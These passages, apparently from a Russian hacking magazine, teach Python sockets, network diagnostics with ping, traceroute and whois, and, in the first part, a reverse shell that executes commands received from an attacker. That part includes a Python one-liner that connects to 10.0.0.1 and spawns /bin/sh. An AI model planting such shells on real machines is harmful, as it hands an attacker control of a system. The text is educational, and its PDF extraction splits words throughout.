буфера 1024 бай та). Если на него при сыла ют датаг рамму, то метод счи тыва ет
ука зан ное количес тво бай тов и они попада ют в перемен ную  .

recv() s

result
Да лее идет всем зна комая фун кция  , в которой мы выводим сооб‐ 

щение    и  декоди рован ный  текст.  Пос коль ку  дан ные  в    —
это текст в кодиров ке UTF‐8, мы дол жны интер пре тиро вать его, выз вав метод

.

print()
Message: result

decode('utf‐8')
Ну и наконец, вызов метода   необ ходим, что бы оста новить прос‐ 

лушива ние 8888‐го пор та и осво бодить его.
close()

Та ким обра зом, сто рона сер вера име ет сле дующий вид:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('127.0.0.1', 8888))
result = s.recv(1024)
print('Message:', result.decode('utf‐8'))
s.close()

Сто рона кли ента
Здесь  все  гораз до  про ще. Для  отправ ки  датаг раммы мы исполь зуем метод
клас са   (точ нее, нашего экзем пля ра  ) под наз вани ем  :socket s .sendto()

s.sendto(b'<Your message>', ('127.0.0.1', 8888))

У  метода  есть  два  парамет ра.  Пер вый  —  сооб щение,  которое  ты  отправ‐ 
ляешь.  Бук ва  b  перед  тек стом  нуж на,  что бы  пре обра зовать  сим волы  тек ста
в  пос ледова тель ность  бай тов.  Вто рой  параметр  —  кор теж,  где  ука заны  IP
машины‐получа теля и порт, который при нима ет датаг рамму.

Та ким обра зом, сто рона кли ента будет выг лядеть при мер но так:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b'<Your message>', ('127.0.0.1', 8888))

Тес тиру ем
Для  тес тирова ния  откры ваем  две  кон соли,  одна  у  нас  будет  работать  сер‐ 
вером,  дру гая  —  кли ентом.  В  каж дой  запус каем  соот ветс тву ющую  прог‐ 
рамму.

Вы вод на сто роне сер вера

На сто роне кли ента мы ничего уви деть не дол жны, и это логич но, потому что
мы ничего и не про сили выводить.

Для  тес та  мы  переда вали  сооб щение  от  одно го  пор та  дру гому  пор ту
на нашей же машине, но если запус тить эти скрип ты на раз ных компь юте рах
и на сто роне кли ента ука зать пра виль ный IP, то все будет работать точ но так
же.

ИСПОЛЬЗУЕМ TCP
Приш ло  вре мя  поз накомить ся  с  TCP.  Точ но  так  же  соз даем  класс  ,  но  в
качес тве вто рого парамет ра будем исполь зовать кон стан ту  .

s
SOCK_STREAM

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Сто рона сер вера
Сно ва резер виру ем порт, на котором будем при нимать пакеты:

s.bind(('127.0.0.1', 8888))

Даль ше появ ляет ся нез накомый нам ранее метод  . С его помощью
мы  уста нав лива ем  некую  оче редь  для  под клю чен ных  кли ентов.  Нап ример,
с  парамет ром    мы  соз даем  огра ниче ние  на  пять  под клю чен ных
и ожи дающих отве та кли ентов.

listen()

.listen(5)

Де лаем  бес конеч ный  цикл,  в  котором  будем  обра баты вать  зап росы
от каж дого нового кли ента, находя щего ся в оче реди.

while 1:
 try:
   client, addr = s.accept()
 except KeyboardInterrupt:
   s.close()
   break
 else:
   result = client.recv(1024)
   print('Message:', result.decode('utf‐8'))

Страш новато? Нач нем по поряд ку. Сна чала мы соз даем обра бот чик исклю‐ 
чения   (оста нов ка работы прог раммы с кла виату ры), что‐ 
бы сер вер работал бес конеч но, пока мы что‐нибудь не наж мем.

KeyboardInterrupt

Ме тод   воз вра щает пару зна чений, которую мы помеща ем в две
перемен ные: в   будут содер жать ся дан ные о том, кто был отпра вите лем,
а   ста нет экзем пля ром клас са  . То есть мы соз дали новое под‐ 
клю чение.

accept()
addr

client socket

Те перь пос мотрим вот на эти три строч ки:

except KeyboardInterrupt:
 s.close()
 break

В  них  мы  оста нав лива ем  прос лушива ние  и  осво бож даем  порт,  толь ко  если
сами  оста новим  работу  прог раммы.  Если  пре рыва ния  не  про изош ло,  то
выпол няет ся блок  :else

else:
 result = client.recv(1024)
 print('Message:', result.decode('utf‐8'))

Здесь мы  сох раня ем  поль зователь ские  дан ные  в  перемен ную  result,  а фун‐ 
кци ей   выводим на экран сооб щение, которое нам отправ лял кли ент
(пред варитель но  прев ратив  бай ты  в  стро ку  Unicode).  В  резуль тате  сто рона
сер вера будет выг лядеть при мер но так:

print()

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8888))
s.listen(5)
while 1:
 try:
   client, addr = s.accept()
 except KeyboardInterrupt:
   s.close()
   break
 else:
   result = client.recv(1024)
   print('Message:', result.decode('utf‐8'))

Сто рона кли ента
Со сто роной кли ента опять же все обсто ит про ще. Пос ле под клю чения биб‐ 
лиоте ки  и  соз дания  экзем пля ра  клас са    мы,  исполь зуя  метод  ,
под клю чаем ся к сер веру и пор ту, на котором при нима ются сооб щения:

s connect()

s.connect(('127.0.0.1', 8888))

Да лее мы отправ ляем пакет дан ных получа телю методом  :send()

s.send(b'<YOUR MESSAGE>')

В кон це оста нав лива ем прос лушива ние и осво бож даем порт:

s.close()

Код кли ента будет выг лядеть при мер но так:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))
s.send(b'<YOUR MESSAGE>')
s.close()

Тес тиру ем
За пус тим в двух раз ных  кон солях  код сер вера и  код  кли ента. На выходе мы
дол жны получить при мер но то же самое, что и с про токо лом UDP.

Вы вод на сто роне сер вера

Ус пех! Поз драв ляю: теперь тебе откры ты боль шие воз можнос ти. Как видишь,
ничего страш ного в работе с сетью нет. И конеч но, не забыва ем, что раз мы
экспер ты в ИБ, то можем добавить шиф рование в наш про токол.

В  качес тве  сле дующе го  упражне ния  можешь  поп робовать,  нап ример,
написать чат на нес коль ко пер сон, как на скрин шоте.

Са модель ный чат, вид со сто роны сер вера

ПРИМЕНЯЕМ ЗНАНИЯ НА ПРАКТИКЕ
Я дваж ды учас тво вал в InnoCTF, и работа с сокета ми в Python очень при гож‐ 
дает ся  при  решении  задач  на  взлом.  По  сути,  все  сво дит ся  к  тому,  что бы
очень мно го раз пар сить пос тупа ющие дан ные с сер вера InnoCTF и пра виль‐ 
но их обра баты вать. Дан ные могут абсо лют но любыми. Обыч но это матема‐ 
тичес кие при меры, раз ные урав нения и про чее.

Для работы с сер вером я исполь зую сле дующий код.

import socket
try:
 s = socket.socket(socket.AF_INET, spcket.SOCK_STREAM)
 s.connect(('<HOST>', <PORT>))
 while True:
   data = s.recv(4096)
   if not data:
     continue
   st = data.decode("ascii")
   # Здесь идет алгоритм обработки задачи, результаты работы 
которого должны оказаться в переменной result
   s.send(str(result)+'\n'.encode('utf‐8'))
finally:
 s.close()

Здесь мы сох раня ем бай товые дан ные в перемен ную  , а потом пре обра‐ 
зуем их из кодиров ки ASCII в строч ке  .  Теперь
в перемен ной st у нас хра нит ся то, что нам прис лал сер вер. Отправ лять ответ
мы можем, толь ко подав на вход стро ковую перемен ную, поэто му обя затель‐ 
но исполь зуем фун кцию  . В кон це у нее сим вол перено са стро ки —  .
Далее  мы  все  кодиру ем  в  UTF‐8  и  методом    отправ ляем  сер веру.
В кон це нам обя затель но нуж но зак рыть соеди нение.

data
st = data.decode("ascii")

str() \n
send()

ДЕЛАЕМ ПОЛНОЦЕННЫЙ REVERSE SHELL
От  обу чающих  при меров  перехо дим  к  реаль ной  задаче  —  раз работ ке
обратно го шел ла, который поз волит выпол нять коман ды на зах вачен ной уда‐ 
лен ной машине.

При  этом  добавить  нам  нуж но  толь ко  вызов  фун кции  .  Что
это  такое?  В  Python  есть  модуль  subprocess,  который  поз воля ет  запус кать
в  опе раци онной  сис теме  про цес сы,  управлять  ими  и  вза имо дей ство вать
с  ними  через  стан дар тный  ввод  и  вывод. В  качес тве  прос тей шего  при мера
исполь зуем subprocess, что бы запус тить блок нот:

subprocess

import subprocess
subprocess.call('notepad.exe')

Здесь метод   вызыва ет (запус кает) ука зан ную прог рамму.call()
Пе рехо дим к раз работ ке шел ла. В дан ном слу чае сто рона сер вера будет

ата кующей  (то  есть  наш  компь ютер),  а  сто рона  кли ента  —  ата кован ной
машиной. Имен но поэто му шелл называ ется обратным.

Сто рона кли ента (ата кован ная машина)
Вна чале  все  стан дар тно:  под клю чаем  модули,  соз даем  экзем пляр  клас са

 и под клю чаем ся к сер веру (к тому, кто ата кует):socket

import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))

Об рати  вни мание:  ког да  мы  ука зыва ем  IP  для  под клю чения,  это  адрес  ата‐ 
кующе го. То есть в дан ном слу чае наш.

Да лее идет основная часть кода, где мы обра баты ваем коман ды и выпол‐ 
няем их.

while 1:
 command = s.recv(1024).decode()
 if command.lower() == 'exit':
   break
 output = subprocess.getoutput(command)
 s.send(output.encode())

s.close()

Вкрат це прой дем ся по коду. Так как нам в какой‐то момент нуж но будет вый ти
из шел ла, мы  про веря ем,  не  при дет  ли  коман да  ,  и,  если  при дет,  пре‐ 
рыва ем цикл. На слу чай, если она вдруг будет написа на заг лавны ми бук вами
или  с  заг лавной,  перево дим  все  сим волы  при нятой  коман ды  в  ниж ний
регистр стро ковым методом  .

exit

lower()
А теперь самое глав ное. Метод   модуля   вызыва‐ 

ет исполне ние коман ды и воз вра щает то, что она выдаст. Мы сох раним вывод
в перемен ную  .

getoutput() subprocess

output

INFO

Наш буфер огра ничен одним килобай том памяти,
чего  может  не  хва тить  для  сох ранения  боль ших
выводов.  Для  это го  прос то  нуж но  зарезер‐ 
вировать  боль ше  памяти.  Нап ример,  4096  байт,
а не 1024.

Да лее мы отправ ляем резуль тат выпол нения ата кующе му и, если ата кующий
завер шил сес сию коман дой  , зак рыва ем соеди нение.exit

Весь код будет выг лядеть вот так:

import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))
while 1:
 command = s.recv(1024).decode()
 if command.lower() == 'exit':
   break
 output = subprocess.getoutput(command)
 s.send(output.encode())

s.close()

Сто рона сер вера (ата кующе го)
Здесь все начина ется абсо лют но так же, как и в при мерах выше.

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 8888))
s.listen(5)

Единс твен ное изме нение — это  IP‐адрес. Ука зав одни нули, мы исполь зуем
все  IP,  которые  есть  на  нашей  локаль ной  машине.  Если  локаль ных  адре сов
нес коль ко, то сер вер будет работать на любом из них.

Да лее при нима ем под клю чение и дан ные: в   будет новое под клю‐ 
чение (сокет), а в   будет лежать адрес отпра вите ля:

client
addr

client, addr = s.accept()

Те перь основная часть:

while 1:
 command = str(input('Enter command:'))
 client.send(command.encode())
 if command.lower() == 'exit':
   break
 result_output = client.recv(1024).decode()
 print(result_output)

client.close()
s.close()

Ду маю, тебе уже зна ком этот код. Здесь все прос то: в перемен ную 
мы сох раня ем вве ден ную с  кла виату ры коман ду,  которую потом отправ ляем
на ата куемую машину. И заод но орга низу ем себе воз можность цивили зован‐ 
но вый ти, наб рав коман ду  . Далее сох раня ем то, что нам прис лала ата‐ 
кован ная машина, в перемен ную   и выводим ее содер жимое
на  экран.  Пос ле  выхода  из  цик ла  зак рыва ем  соеди нение  с  кли ентом  и  с
самим сер вером.

command

exit
result_output

Весь код будет таким:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 8888))
s.listen(5)
client, addr = s.accept()
while 1:
 command = str(input('Enter command:'))
 client.send(command.encode())
 if command.lower() == 'exit':
   break
 result_output = client.recv(1024).decode()
 print(result_output)

client.close()
s.close()

Ос талось про верить! Запус каем в одной кон соли сер вер (сто рона ата кующе‐ 
го), а в дру гой — кли ент (ата куемый) и видим вывод в кон соли сер вера.

Вы вод на сто роне ата кующе го

Поп робу ем открыть блок нот, написав  .notepad.exe

Ура, блок нот!

Поз драв ляю, твой пер вый шелл готов!

ШЕЛЛ ОДНОЙ СТРОЧКОЙ
Что бы  закинуть  код  на  уда лен ную  машину,  удоб но  иметь  его  в  виде  одной
строч ки. Бла го  в Python есть  все необ ходимое,  что бы  умес тить  код  кли ента
в одну нед линную стро ку. Вот как она выг лядит.

python ‐c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8888));os.dup2(s.
fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subpro
cess.call(["/bin/sh","‐i"]);'

Ключ   поз воля ет передать прог рамму в качес тве парамет ра.‐c
Ду маю,  ты  сра зу  под метил  зна комые  эле мен ты  кода.  Но  для  удобс тва  я

рас пишу пос троч но:

import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.0.0.1',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','‐i']) # Для Windows — .call('cmd.exe')

Как  видишь,  появи лось  кое‐что  новень кое:  ,  ,  .  Что бы
понять, как это работа ет, нуж но знать, что такое фай ловые дес крип торы.

os dup2() fileno()

Ес ли  сов сем  по‐прос тому,  то  это  некие  целые  неот рицатель ные  чис ла,
которые  воз вра щают ся  про цес су  пос ле  того,  как  он  соз даст  поток  вво‐ 
да‐вывода  и  поток  диаг ности ки.  В  UNIX  усто явши еся  наз вания  потоков  —
это 0, 1 и 2. 0 соот ветс тву ет стан дар тно му вво ду про цес са  (тер минал), 1 —
стан дар тный вывод (тер минал), 2 — поток диаг ности ки (файл с сооб щени ями
об ошиб ках).

Мо дуль  os —  это  еще  один  стан дар тный  эле мент  Python.  Он  поз воля ет
прог рамме  общать ся  с  опе раци онной  сис темой.  Вхо дящий  в  него  метод

  пред назна чен  для  того,  что бы  менять  зна чения  фай ловых  дес крип‐ 
торов.   — это метод объ екта типа  , который воз вра щает фай‐ 
ловый дес крип тор сокета. А при помощи метода   мы меня ем дес крип‐ 
торы вво да‐вывода и оши бок на соот ветс тву ющие дес крип торы сокета.

dup2()
fileno() socket

dup2()

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

То есть, счи тай, мы взя ли и сде лали наш сокет пол ноцен ным про цес сом. Что
это нам дает? Мы можем запус тить тер минал и исполь зовать его! Для это го
нуж на вот эта стро ка:

p=subprocess.call(['/bin/sh','‐i'])

Для Windows она будет слег ка дру гой:

p=subprocess.call('cmd.exe')

Вот так вот мы «обхитри ли» сис тему. Точ нее, прос то вос поль зовались одной
из прод винутых фун кций.

В ЗАВЕРШЕНИЕ
Те перь  ты  не  толь ко  зна ешь,  как  орга низо вать  переда чу  сооб щений  меж ду
прог рамма ми на Python, но и уме ешь писать хит рые однос троч ники, которые
переда ют  тебе  управле ние  уда лен ной  машиной.  Думаю,  ты  уже  ощу щаешь
неверо ятную мощь и готов к экспе римен там. Желаю уда чи с ними!
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АДМИН

Ко ман ды  ping,  traceroute  и  whois —  в  чис ле  пер вых  вещей,
о которых узна ют начина ющие адми ны. Мно гие, кто не спе‐ 
циали зиру ется  на  сетях,  ими  и  огра ничи вают ся,  и  совер‐ 
шенно  зря.  С  помощью  стан дар тных  инс тру мен тов  мож но
извлечь  гораз до  боль ше  информа ции  о  проб леме,  чем
может показать ся.

PING
Ко ман да    извес тна  каж дому,  даже  далеко му  от  сетей
челове ку. Она  отправ ляет  уда лен ному  хос ту  пакеты  ICMP echo,  на  которые,
по идее, он дол жен отве тить таким же пакетом.

ping  example.com

Од нако этот  про токол не прос то  так  называ ется  Internet Message Control
Protocol. Его фун кции далеко не толь ко диаг ности чес кие, а диаг ности чес кие
фун кции куда шире, чем «отве тил — не отве тил».

Что может ска зать ping?
За час тую,  если  хост  наз начения  недос тижим,  от  ping  дей стви тель но  мож но
получить  толь ко    и  ничего  боль ше.  Если  успешный  ответ
всег да исхо дит от самого хос та наз начения, то сооб щения об ошиб ках дос‐ 
тавки — от  про межу точ ных мар шру тиза торов.  По    про межу точ ные
мар шру тиза торы могут,  но  не  обя заны  уве дом лять  отпра вите ля.  Час то  и  не
уве дом ляют  —  по  сооб ражени ям  про изво дитель нос ти,  и  обви нить  их  не  в
чем.

request  timeout

стан дарту

Но  уж  если  тебе  при шел  ответ  от  про межу точ ного  мар шру тиза тора,  он
обыч но  информа тивен.  К  при меру,  ответ 
дол жен отправ лять ся  толь ко  тог да,  ког да  хост находит ся  в одной локаль ной
сети с мар шру тиза тором и не отве чает. Самый прос той спо соб  уви деть  эту
ошиб ку  —  пин гануть  заведо мо  несущес тву ющий  адрес  в  сво ей  же  сети:
к  при меру,  если  твоя  сеть  192.168.0.0/24  и  хос та  192.168.0.200  в  ней  нет,
выпол нить  .

destination  host  unreachable

ping 192.168.0.200
Та кой ответ может прий ти толь ко от пос ледне го мар шру тиза тора на пути

к хос ту.
А вот   говорит об отсутс твии мар шру та к ука зан ной

сети у одно го из хос тов на пути. Эта ошиб ка может воз никнуть в любом мес те
пути, поэто му нуж но обра тить вни мание на отпра вите ля.

network unreachable

Ча ще  все го  эта  проб лема  у  тебя  самого:  сле тели  нас трой ки  мар шру тов
или хост не получил мар шрут от сер вера DHCP. Но такой ответ может прий ти
и от про межу точ ного мар шру тиза тора:

From 192.0.2.100 icmp_seq=1 Destination Net Unreachable

Ес ли ты видишь такую кар тину, что‐то серь езно пош ло не так. Если хост дос‐ 
тижим из дру гих сетей, впол не воз можно, что у про вай дера проб лема с нас‐ 
трой ками BGP. Я как минимум один раз стал кивал ся с тем, что круп ный про‐ 
вай дер оши боч но филь тро вал мар шру ты из сети, которую он счи тал зарезер‐ 
вирован ной для исполь зования в будущем, хотя на тот момент IANA уже пол‐ 
года как переда ла ее RIPE NCC и мно гие люди получи ли адре са из нее.

WWW

Ес ли  не  хочешь  быть  как  тот  про вай дер,  мож но
вос поль зовать ся  авто мати чес ки  обновля емы ми
спис ками несущес тву ющих адре сов вро де Cymru
Bogon Reference

Ошиб ки семей ства   озна чают, что пакет
был отбро шен пра вилом меж сетево го экра на. Впро чем, ник то не обя зыва ет
отве чать  отпра вите лю  имен но  так  или  вооб ще  отве чать.  К  при меру,  в  Linux
пра вила вида   по умол чанию выда ют 

,  если  явно  не  ука зать  ,  при чем  ука зать  мож но
любой тип, даже  .

destination host/net prohibited

iptables ‐j REJECT destination port
unreachable ‐‐reject‐with

icmp‐net‐unreachable
Но это все о прос том   без опций. Некото рые проб лемы луч ше все го

выяв ляют ся допол нитель ными опци ями.
ping

Оп ределя ем проб лемы с MTU
Поль зовате ли VPN неред ко могут стол кнуть ся с недос тупностью опре делен‐ 
ных  ресур сов  имен но  через  тун нель,  даже если без  тун неля  из  той же  сети
они прек расно работа ют.

Рас простра нен ная при чина таких проб лем — некор рек тно нас тро ена сеть
наз начения, из‐за чего пакеты перес тают про ходить через тун нель. Пос коль ку
MTU  (Maximum  Transmission  Unit  —  мак сималь ный  раз мер  пакета)  для  тун‐ 
нелей  мень ше,  чем  стан дар тный  для  интерне та  раз мер  1500,  пра виль ная
работа соеди нений тре бует работа юще го path MTU discovery. Увы, работа ет
он  не  всег да,  и  самый  прос той  спо соб  его  сло мать —  зап ретить  про токол
ICMP, «что бы не пин говал кто попало».

Та кие патоло гичес кие слу чаи сре ди сетевых адми нов встре чают ся ред ко,
но имен но сло ман ный  , увы, рас простра нен.PMTU discovery

Вы явить  эту  проб лему  мож но,  ука зав  раз мер  пакета  опци ей  : 
.  Если  стан дар тный  пинг  с  раз мером  пакета

в 64 бай та про ходит, но с какого‐то раз мера пакета (нап ример,  ) пинг
вне зап но  перес тает  работать,  то  поз драв ляю,  ты  нашел  проб лему.  Пиши
адми ну, что бы вклю чил MSS clamping, или вклю чай сам, если ты и есть админ.

‐s ping  ‐
s1300  www.example.com

‐s 1450

Ищем глу бокую инспек цию пакетов
Мно гие  решения  для  DPI  не  смот рят  так  уж  глу боко,  а  прос то  ищут  фик‐ 
сирован ные  стро ки  в  пакетах.  В  некото рых  слу чаях  опре делить  наличие
такого  DPI  на  пути  мож но  с  помощью  одно го  ping.  В  Linux  для  это го  есть
опция  . Один  недос таток —  сом нитель ную  стро ку  при дет ся  вруч‐ 
ную  кодиро вать  в  hex,  но,  если  уста новить  генера тор  пакетов  нет  никакой
воз можнос ти, может при годить ся.

‐‐pattern

TTL exceeded
Еще одна ошиб ка, которую на прак тике мож но уви деть толь ко с допол нитель‐ 
ной  опци ей, —  .  Поле  Time  To  Live  у  пакетов  IPv4
(Hop  Limit  в  IPv6)  огра ниче но  зна чени ем 255,  но  интернет —  ,
и  сред ний  путь  не  дос тига ет  и  одной  десятой  мак сималь ной  дли ны.  Изна‐ 
чаль ная  цель  это го  механиз ма  —  пре дот вра тить  бес конеч ную  пересыл ку
пакетов по кру гу при воз никно вении пет ли мар шру тиза ции, но сов ремен ные
про токо лы  исклю чают  пет ли.  Тем  не  менее  ник то  не  меша ет  ука зать  TTL
заведо мо короче ожи даемой дли ны пути:

Time  to  live  exceeded
«тес ная сеть»

$ ping ‐t1 9.9.9.9
PING 9.9.9.9 (9.9.9.9) 56(84) bytes of data.
From 10.91.19.1 icmp_seq=1 Time to live exceeded

TRACEROUTE
Имен но  по  прин ципу,  опи сан ному  выше,  и  работа ет  коман да  :
отправ ляет пакеты сна чала с TTL = 1, затем TTL = 2 и так далее и ждет отве тов
TTL exceeded от каж дого про межу точ ного хос та.

traceroute

На пер вый взгляд traceroute пред став ляет ся таким же прос тым инс тру мен‐ 
том, как ping. На самом деле из его вывода тоже мож но извлечь боль ше дан‐ 
ных,  чем  кажет ся.  В  то  же  вре мя  там  мож но  уви деть  проб лему,  которой
не  сущес тву ет  в  реаль нос ти,  а  реаль ные  проб лемы  могут  никак  не  отоб‐ 
ражать ся.

За дер жки
Как  обыч ная  коман да  traceroute,  так  и  инс тру мен ты  вро де    весь ма
популяр ны для поис ка «узких мест» в сети. MTR показы вает ста тис тику задер‐ 
жек для каж дого хос та на пути.

MTR

Од нако  интер пре тация  этих  дан ных  не  так  оче вид на.  Пред положим,  ты
видишь  на  пер вом  хос те  задер жку  в  20  мил лисекунд,  а  на  вто ром —  950.
Не  спе ши  радовать ся,  что  нашел  узкое  мес то,  и  ругать  адми нов  той  сети.
Задер жки выдачи ICMP TTL exceeded могут не иметь ничего обще го с задер‐ 
жка ми переда чи пакетов.

В нашем сце нарии 950 мил лисекунд — это имен но вре мя, которое прош‐ 
ло  от  отправ ки  пакета  до  получе ния  отве та  ICMP.  Сколь ко  ушло  вре мени
на переда чу тес тового пакета — неиз вес тно. Сколь ко ушло на дос тавку отве‐ 
та — тоже. Сколь ко прош ло вре мени меж ду получе нием пакета и отправ кой
отве та?

Бу дет боль шой ошиб кой счи тать, что это вре мя близ ко к нулю. Во‐пер вых,
пересыл кой  пакетов  час то  занима ется  аппа рат ная  фаб рика  ком мутации,
а  для  управля ющей  опе раци онной  сис темы  исполь зует ся  весь ма  скром ный
про цес сор.  Пос коль ку  сооб щения  ICMP  всег да  генери руют ся  прог рам мно,
этот  про цесс  гораз до  мед леннее.  Даже  для  чис то  прог рам мных  решений
задачи вро де отве тов на пин ги и отправ ки TTL exceeded куда менее при ори‐ 
тет ны, чем мар шру тиза ция.

По это му  сам  по  себе  всплеск  задер жек  в  выводе  traceroute  или  MTR
ничего  не  озна чает.  Вот  если  все  задер жки  на  пос леду ющих  хос тах  боль‐ 
ше 950 мил лисекунд, тог да уже есть повод ругать ся с адми нами.

Асим метрич ные пути, балан сиров ка, MPLS
Не мень шей ошиб кой будет счи тать, что тра фик всег да воз вра щает ся к тебе
тем же путем,  который  ты видишь в  traceroute. Для  тран зитных мар шру тиза‐ 
торов,  в  отли чие  от  кли ент ских,  асим метрич ная  мар шру тиза ция —  явле ние
обыч ное, даже неиз бежное.

Ес ли сеть про вай дера A под клю чена к сетям B и C канала ми с оди нако вой
про пус кной  спо соб ностью  и  качес твом,  будет  впол не  естес твен но  рас пре‐ 
делить исхо дящий тра фик по этим каналам. Одна ко даже если адми ны про‐ 
вай дера  А  пред почита ют  отправ лять  боль шую  часть  тра фика  через  сеть  B,
над  вхо дящим  тра фиком  у  них  нет  поч ти  никако го  кон тро ля. Мож но  искусс‐ 
твен но «ухуд шить» анон сы мар шру тов в сети C, но и в этом слу чае нет гаран‐ 
тии, что кли енты сети B про водят ту же полити ку. Впол не воз можно, что они
как раз пред почита ют сеть C.

Пред положим, что сеть C на самом деле пло хая. Уви дим ли мы это в  tracer‐
oute? Оче вид но,  нет,  пос коль ку  исте чение  TTL  всег да  слу чает ся  на  пря мом
пути,  а  не  на  обратном.  Никако го  спо соба  уви деть  пол ный  граф  сети
не сущес тву ет.

Еще  более  инте рес ной  ситу ацию  дела ет  .  Пос коль ку  кад ры  MPLS
инкапсу лиру ют  пакеты  IP  целиком  и  для  сетей  на  кон цах    он  выг лядит
как  пря мое  физичес кое  соеди нение,  огромная  часть  внут ренней  струк туры
тран зитной сети ока зыва ется невиди мой.

MPLS
LSP

Эта ситу ация дела ет отладку слож нее не  толь ко для поль зовате лей, но и
для  самих  про вай деров,  поэто му  иног да  исполь зуют  MPLS  ICMP  tunneling,
который  поз воля ет  генери ровать  кор рек тные  отве ты.  Одна ко,  пос коль ку
отпра вите лем пакетов  IP выс тупа ет пос ледний мар шру тиза тор в логичес ком
соеди нении MPLS (до него никакой обра бот ки IP не дела ется), это будет выг‐ 
лядеть как мно жес тво хос тов с нулевой задер жкой меж ду ними.

WHOIS
Пред положим,  ты  нашел  проб лемную  сеть  с  помощью  ping  или  traceroute
или уви дел адре са зло умыш ленни ков в логах. Как теперь най ти, с кем ругать‐ 
ся? Здесь тебе на помощь при дет whois.

Ча ще  все го  коман ду  whois  исполь зуют  для  получе ния  информа ции
о доменах ( ). На самом деле в базах дан ных RIR (Regional
Internet  Registries — RIPE NCC,  ARIN...)  сущес тву ет  куда  боль ше  типов  объ‐ 
ектов.

whois example.com

Каж дый  выделен ный  ресурс,  будь  то  номер  авто ном ной  сис темы
или адрес сети, име ет в базе дан ных свою запись, из которой мож но узнать
его при над лежность.

К при меру,  ты  хочешь пожало вать ся,  что авто ры «Хакера»  учат молодежь
пло хому. Мож но  отре зол вить  xakep.ru  и  выпол нить  .
Но  ты  подоз рева ешь,  что  информа ция  о  самом  адре се  не  сов пада ет
с информа цией о сети хос тера. Не страш но, whois понима ет и адре са сетей:

whois  178.248.232.27

 

 

 

 

 

 
 

 

$ whois 178.248.232.0/24
[Querying whois.ripe.net]
[whois.ripe.net]
...

% Information related to '178.248.232.0 ‐ 178.248.239.255'

% Abuse contact for '178.248.232.0 ‐ 178.248.239.255' is 'abuse@qrator.
net'

inetnum:        178.248.232.0 ‐ 178.248.239.255 
netname:        RU‐QRATOR‐20100512 
country:        RU 
org:            ORG‐LA267‐RIPE 
admin‐c:        QL‐RIPE 
tech‐c:         QL‐RIPE 
status:         ALLOCATED PA 
remarks:        QRATOR filtering network

Здесь  нам  сра зу  показы вают  abuse  contact,  но,  если  его  вдруг  нет,  всег да
мож но  копать  даль ше  и  смот реть  whois  про  любое  поле.  Нап ример, 

. По пра вилам, у каж дой орга низа ции есть abuse contact.
whois 

ORG‐LA267‐RIPE
От туда же мож но извлечь информа цию об авто ном ных сис темах. Прос то

допиши    перед  номером.  Нап ример,  кому  при над лежит  авто ном ная  сис‐ 
тема 6939?

AS

 

 

 

 
 

$ whois AS6939
[Querying whois.radb.net]
[whois.radb.net]

aut‐num:    AS6939 
as‐name:    HURRICANE 
descr:      Hurricane Electric

Как  пос тупать  с  людь ми,  которые  шлют  тебе  спам  и  брут форсят  твои  сер‐ 
висы, — решать тебе, но во мно гих слу чаях написать пись мо хос теру на abuse
contact не будет лиш ним. Боль шинс тву хос теров и про вай деров наруши тели
закона и поряд ка ни к чему,  так что, если у  тебя есть доказа тель ства, веро‐ 
ятность, что сер вер наруши теля заб локиру ют, ненуле вая.

LOOKING GLASS
Мно гие  про вай деры  пре дос тавля ют  сер висы  looking  glass,  с  помощью
которых  мож но  прос мотреть  отла доч ную  информа цию  с    мар шру тиза‐ 
торов.

их

Они дос тупны через веб‐интерфейс, но иног да и через Telnet/SSH.
Увы, обще го спо соба его най ти не сущес тву ет, и на сай тах про вай деров

эти адре са чаще все го не пишут. Тем не менее сам тер мин нас толь ко стан‐ 
дар тный, что зап рос $provider  looking glass в любой поис ковой сис теме при‐ 
ведет  тебя  к  цели.  Нап ример, 

 при водит нас к  .
https://duckduckgo.com/?

q=rostelecom+looking+glass http://lg.ip.rt.ru
Боль шинс тво из них поз воля ют выпол нить ping и  traceroute, а самые пол‐ 

ные  пре дос тавля ют  еще  и  информа цию  о  мар шру тах  BGP  и  воз можность
выбора мар шру тиза торов из раз ных реги онов.

ЗАКЛЮЧЕНИЕ
Лю ди  пос тоян но  соз дают  новые  и  полез ные  инс тру мен ты,  но  начинать
отладку всег да мож но со ста рых, испы тан ных и при сутс тву ющих в любой сис‐ 
теме — их же впол не может ока зать ся дос таточ но.
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Лю бопытс тво  —  это  ключ  к  совер шенс тву.  Увле чен ный
человек  готов  при лагать  уси лия,  что бы  сно ва  и  сно ва
находить  отве ты  и  удов летво рять  свою  тягу  к  поз нанию.
Один  из  спо собов  задей ство вать  силу  любопытс тва  —
это хакер ские квес ты. Они лежат на пересе чении игр в аль‐ 
тер натив ную реаль ность (ARG) и CTF‐сорев нований и манят
учас тни ков  атмосфе рой  тай ны,  но  не  толь ко  раз вле кают,
но и дают совер шенно реаль ные навыки.

ЧТО ТАКОЕ ARG?
На слу чай, если ты еще не слы шал про забаву под наз вани ем Alternate Reality
Game,  вкрат це  рас ска жу,  что  это  такое.  Пред ставь  себе  игру,  которая
в  качес тве  плат формы  исполь зует  реаль ный  мир.  Точ нее,  даже  не  игру,
а инте рак тивное повес тво вание с игро выми эле мен тами.

Ско орди ниро вав  уси лия  (обыч но  через  интернет),  учас тни ки  ARG  ищут
